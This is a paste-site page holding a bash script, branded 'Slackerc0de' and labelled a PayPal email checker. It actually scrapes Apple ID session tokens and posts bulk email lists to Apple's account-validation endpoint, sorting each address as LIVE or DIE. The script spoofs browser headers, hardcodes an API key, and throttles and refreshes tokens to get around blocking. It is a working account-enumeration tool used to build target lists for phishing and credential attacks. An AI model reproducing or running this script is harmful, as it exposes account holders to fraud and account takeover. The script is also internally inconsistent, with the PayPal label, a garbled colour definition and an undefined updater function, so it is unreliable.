ulvis.paste.net

Paste Search Dynamic
Recent pastes
Valid Checker
  1. #!/bin/bash
  2. # Slackerc0de Family Present
  3. # Paypal Valid Checker 2019
  4. # 17 June 2K18
  5. # Share By ChAib ='\033[0;31m'
  6. CYAN='\033[0;36m'
  7. YELLOW='\033[1;33m'
  8. ORANGE='\033[0;33m'
  9. PUR='\033[0;35m'
  10. GRN="\e[32m"
  11. WHI="\e[37m"
  12. NC='\033[0m'
  13. echo ""
  14. printf "$RED           ##########################   $GRN#\n"
  15. printf "$RED           ########################    $GRN##\n"
  16. printf "$RED           ####                       $GRN###\n"
  17. printf "$RED           ####                      $GRN####\n"
  18. printf "$RED           #######################   $GRN####\n"
  19. printf "$RED           #######################   $GRN####\n"
  20. printf "$RED                              ####   $GRN####\n"
  21. printf "$RED                              ####   $GRN####\n"
  22. printf "$WHI           ##########$RED     ########   $GRN####\n"
  23. printf "$WHI           ############$RED     ######   $GRN####\n"
  24. printf "$WHI           #####                     $GRN####\n"
  25. printf "$WHI           #####                     $GRN####\n"
  26. printf "$WHI           ##################    $GRN########\n"
  27. printf "$WHI           ####################    $GRN######\n"
  28. printf "$NC\n"
  29. cat <<EOF
  30.              -**** YassineHd **** -
  31.           [+] yassinexhd@gmail.com [+]
  32.        
  33. ---------------------------------------------------
  34.    Paypal Valid email checker 2018
  35. ---------------------------------------------------
  36.  
  37. EOF
  38.  
  39. usage() {
  40.   echo "Usage: ./myscript.sh COMMANDS: [-i <list.txt>] [-r <folder/>] [-l {1-1000}] [-t {1-10}] OPTIONS: [-d] [-c]
  41.  
  42. Command:
  43. -i (20k-US.txt)     File input that contain email to check
  44. -r (result/)        Folder to store the result live.txt and die.txt
  45. -l (60|90|110)      How many list you want to send per delayTime
  46. -t (3|5|8)          Sleep for -t when check is reach -l fold
  47.  
  48. Options:
  49. -d                  Delete the list from input file per check
  50. -c                  Compress result to compressed/ folder and
  51.                   move result folder to haschecked/
  52. -h                  Show this manual to screen
  53. -u                  Check integrity file then update
  54.  
  55. Report any bugs to: <Malhadi Jr> contact@malhadi.slackerc0de.us
  56. "
  57.   exit 1
  58. }
  59.  
  60. # Assign the arguments for each
  61. # parameter to global variable
  62. while getopts ":i:r:l:t:dchu" o; do
  63.     case "${o}" in
  64.         i)
  65.             inputFile=${OPTARG}
  66.             ;;
  67.         r)
  68.             targetFolder=${OPTARG}
  69.             ;;
  70.         l)
  71.             sendList=${OPTARG}
  72.             ;;
  73.         t)
  74.             perSec=${OPTARG}
  75.             ;;
  76.         d)
  77.             isDel='y'
  78.             ;;
  79.         c)
  80.             isCompress='y'
  81.             ;;
  82.         h)
  83.             usage
  84.             ;;
  85.         u)
  86.             updater "manual"
  87.             ;;
  88.     esac
  89. done
  90.  
  91. # Do automatic update
  92. # before passing arguments
  93. echo "[+] Doing an automatic update from server slackerc0de.us on `date`"
  94. updater "auto"
  95.  
  96. if [[ $inputFile == '' || $targetFolder == '' || $sendList == '' || $perSec == '' ]]; then
  97.  cli_mode="interactive"
  98. else
  99.  cli_mode="interpreter"
  100. fi
  101.  
  102. # Assign false value boolean
  103. # to both options when its null
  104. if [ -z "${isDel}" ]; then
  105.  isDel='n'
  106. fi
  107.  
  108. if [ -z "${isCompress}" ]; then
  109.  isCompress='n'
  110. fi
  111.  
  112. SECONDS=0
  113.  
  114. # Asking user whenever the
  115. # parameter is blank or null
  116. if [[ $inputFile == '' ]]; then
  117.  # Print available file on
  118.  # current folder
  119.  # clear
  120.  tree
  121.  read -p "Enter mailist file: " inputFile
  122. fi
  123.  
  124. if [[ $targetFolder == '' ]]; then
  125.  read -p "Enter target folder: " targetFolder
  126.  # Check if result folder exists
  127.  # then create if it didn't
  128. if [[ ! -d "$targetFolder" ]]; then
  129.   echo "[+] Creating $targetFolder/ folder"
  130.   mkdir $targetFolder
  131. else
  132.   read -p "$targetFolder/ folder are exists, append to them ? [y/n]: " isAppend
  133.   if [[ $isAppend == 'n' ]]; then
  134.     exit
  135.   fi
  136. fi
  137. else
  138. if [[ ! -d "$targetFolder" ]]; then
  139.   echo "[+] Creating $targetFolder/ folder"
  140.   mkdir $targetFolder
  141. fi
  142. fi
  143.  
  144. if [[ $isDel == '' || $cli_mode == 'interactive' ]]; then
  145. read -p "Delete list per check ? [y/n]: " isDel
  146. fi
  147.  
  148. if [[ $isCompress == '' || $cli_mode == 'interactive' ]]; then
  149. read -p "Compress the result ? [y/n]: " isCompress
  150. fi
  151.  
  152. if [[ $sendList == '' ]]; then
  153. read -p "How many list send: " sendList
  154. fi
  155.  
  156. if [[ $perSec == '' ]]; then
  157. read -p "Delay time: " perSec
  158. fi
  159.  
  160. malhadi_appleval() {
  161. SECONDS=0
  162.  
  163. check=`curl 'https://appleid.apple.com/account/validation/appleid' -H 'scnt: '$scnt'' -H 'Origin: https://appleid.apple.com' -H 'Accept-Encoding: gzip, deflate, br' -H 'X-Apple-I-FD-Client-Info: {"U":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36","L":"en-US","Z":"GMT+08:00","V":"1.1","F":"sWa44j1e3NlY5BSo9z4ofjb75PaK4Vpjt3Q9cUVlOrXTAxw63UYOKES5jfzmkflJfmczl998tp7ppfAaZ6m1CdC5MQjGejuTDRNziCvTDfWk3qwyWEQEe6qgXK_Pmtd0SHp815LyjaY2.rINj.rINYOK0UjVsYUMnGWFfwMHDCQyG5me6sBLSsbXzU0l6sqKIrGfuzwg9wK9weEwHXXTSHCSPmtd0wVYPIG_qvoPfybYb5EvYTrYesR0CjEcIqnuWxf7_OLgiPFMtrs1OeyjaY2_GGEQIgwe98vDdYejftckuyPBDjaY2ftckZZLQ084akJlJWu_uWA16fUfR0odm_dhrxbuJjkWxv5iJ6KVg8cGYiKY.6elV2pN9csgdmX3ivm_Ud_UeAwHCSFQ_0pNvS_MNJZNlY5DuV25BNnOVgw24uy.CfT"}' -H 'Accept-Language: en-US,en;q=0.9,id;q=0.8,fr;q=0.7,la;q=0.6' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: idclient=web; dslang=US-EN; site=USA; aidsp='$sessionId'; ccl=OXqm9r6b+jMZIrOKHBgGZQ==; geo=ID' -H 'Connection: keep-alive' -H 'X-Apple-Api-Key: '$apiKey'' -H 'X-Apple-ID-Session-Id: '$sessionId'' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36' -H 'Content-Type: application/json' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: https://appleid.apple.com/account' -H 'X-Apple-Request-Context: create' --data-binary '{"emailAddress":"'$1'"}' --compressed -D - -s`
  164. duration=$SECONDS
  165. header="`date +%H:%M:%S` from $inputFile to $targetFolder"
  166. footer="[Slackercode - PaypalValid 2018] $(($duration % 60))sec.\n"
  167. val="$(echo "$check" | grep -c 'used" : true')"
  168.  inv="$(echo "$check" | grep -c 'used" : false')"
  169. bad="$(echo "$check" | grep -c 'valid" : false')"
  170.  icl="$(echo "$check" | grep -c 'appleOwnedDomain" : true')"
  171.  
  172. if [[ $val > 0 || $icl > 0 ]]; then
  173.   printf "[$header] $2/$3. ${ORANGE}LIVE => $1 ${NC} $footer"
  174.   echo "LIVE => $1" >> $4/live.txt
  175. else
  176.   if [[ $inv > 0 || $bad > 0 ]]; then
  177.     printf "[$header] $2/$3. ${RED}DIE => $1 ${NC} $footer"
  178.     echo "DIE => $1" >> $4/die.txt
  179.   else
  180.     printf "[$header] $2/$3. ${CYAN}UNKNOWN => $1 ${NC} $footer"
  181.     echo "$1 => $check" >> reason.txt
  182.     echo "UNKNOWN => $1" >> $inputFile
  183.   fi
  184. fi
  185.  
  186. printf "\r"
  187. }
  188.  
  189. if [[ ! -f $inputFile ]]; then
  190. echo "[404] File mailist not found. Check your mailist file name."
  191. ls -l
  192. exit
  193. fi
  194.  
  195. # Preparing file list
  196. # by using email pattern
  197. # every line in $inputFile
  198. echo "[+] Cleaning your mailist file"
  199. grep -Eiorh '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})' $inputFile | tr '[:upper:]' '[:lower:]' | sort | uniq > temp_list && mv temp_list $inputFile
  200.  
  201. # Finding match mail provider
  202. echo "########################################"
  203. # Print total line of mailist
  204. totalLines=`grep -c "@" $inputFile`
  205. echo "There are $totalLines of list."
  206. echo " "
  207. echo "Hotmail: `grep -c "@hotmail" $inputFile`"
  208. echo "Yahoo: `grep -c "@yahoo" $inputFile`"
  209. echo "Gmail: `grep -c "@gmail" $inputFile`"
  210. echo "########################################"
  211.  
  212. # Extract email per line
  213. # from both input file
  214. IFS=$'\r\n' GLOBIGNORE='*' command eval  'mailist=($(cat $inputFile))'
  215. con=1
  216.  
  217. getKey() {
  218.  echo "Generating token now. Please wait..."
  219.  wait
  220.  resp=`curl 'https://appleid.apple.com/account' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Connection: keep-alive' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9,id;q=0.8,fr;q=0.7,la;q=0.6' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36' --compressed -D - -s -o /dev/null`
  221.  scnt="$(echo "$resp" | grep "scnt: " | cut -c7- | xargs)"
  222.  sessionId="$(echo "$resp" | grep "aidsp" | awk -F[=\;] '{print $2}' | xargs)"
  223.  apiKey='cbf64fd6843ee630b463f358ea0b707b'
  224.  
  225.  # echo "$resp"
  226.  # echo "SCNT: $scnt"
  227.  # echo "SESSIONID: $sessionId"
  228.  
  229.  if [[ $scnt == '' || $sessionId == '' || $apiKey = '' ]]; then
  230.    sleep 4
  231.    echo "IP Blocked by Apple."
  232.    getKey
  233.    sleep 2
  234.  fi
  235. }
  236.  
  237. getKey
  238.  
  239. echo "[+] Sending $sendList email per $perSec seconds"
  240.  
  241. for (( i = 0; i < "${#mailist[@]}"; i++ )); do
  242.  username="${mailist[$i]}"
  243.  indexer=$((con++))
  244.  tot=$((totalLines--))
  245.  fold=`expr $i % $sendList`
  246.  if [[ $fold == 0 && $i > 0 ]]; then
  247.    header="`date +%H:%M:%S`"
  248.   duration=$SECONDS
  249.   echo "[$header] Waiting $perSec second. $(($duration / 3600)) hours $(($duration / 60 % 60)) minutes and $(($duration % 60)) seconds elapsed, With $sendList req / $perSec seconds."
  250.   sleep $perSec
  251. fi
  252. vander=`expr $i % 8`
  253. if [[ $vander == 0 && $i > 0 ]]; then
  254.   getKey
  255. fi
  256.  
  257. malhadi_appleval "$username" "$indexer" "$tot" "$targetFolder" "$inputFile" &
  258.  
  259. if [[ $isDel == 'y' ]]; then
  260.   grep -v -- "$username" $inputFile > "$inputFile"_temp && mv "$inputFile"_temp $inputFile
  261. fi
  262. done
  263.  
  264. # waiting the background process to be done
  265. # then checking list from garbage collector
  266. # located on $targetFolder/unknown.txt
  267. echo "[+] Waiting background process to be done"
  268. wait
  269. wc -l $targetFolder/*
  270.  
  271. if [[ $isCompress == 'y' ]]; then
  272. tgl=`date`
  273. tgl=${tgl// /-}
  274. zipped="$targetFolder-$tgl.zip"
  275.  
  276. echo "[+] Compressing result"
  277. zip -r "compressed/$zipped" "$targetFolder/die.txt" "$targetFolder/live.txt"
  278. echo "[+] Saved to compressed/$zipped"
  279. mv $targetFolder haschecked
  280. echo "[+] $targetFolder has been moved to haschecked/"
  281. fi
  282. #rm $inputFile
  283. duration=$SECONDS
  284. echo "$(($duration / 3600)) hours $(($duration / 60)) minutes and $(($duration % 60)) seconds elapsed."
  285. echo "+==========+ Slackerc0de Family - PaypalValid 2018 - Malhadi Jr +==========+"
Parsed in 0.078 seconds